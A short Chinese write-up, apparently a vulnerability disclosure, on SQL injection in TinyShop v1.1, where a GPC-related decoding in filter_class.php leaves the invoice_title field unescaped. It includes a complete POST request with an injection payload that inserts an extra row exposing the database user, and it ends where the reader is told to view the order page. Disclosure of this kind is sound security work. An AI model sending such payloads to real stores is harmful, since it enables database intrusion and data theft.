主要问题出在filter_class.php:
当gpc 开启的时候这个对其进行了解码
然后我们看注入点
simple.php:
从开始传递:
$invoice_title = Filter::text(Req::args('invoice_title'));
到中间计算$data['invoice_title'] = $invoice_type.':'.$invoice_title;
然后到插入数据库,没有再次做转义导致注入
我们发送url:
POST /tinyshopv1.1/index.php?con=simple&act=order_act HTTP/1.1
Host: localhost
postdata:
address_id=2&payment_id=1&user_remark=xxxxx'&is_invoice=1&invoice_type=0&invoice_title=',0,0,12,0,0,0,0,1),(0,user(),2,1,2,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1,0,0,0,0,1)#
然后我们到自己的订单页面查看: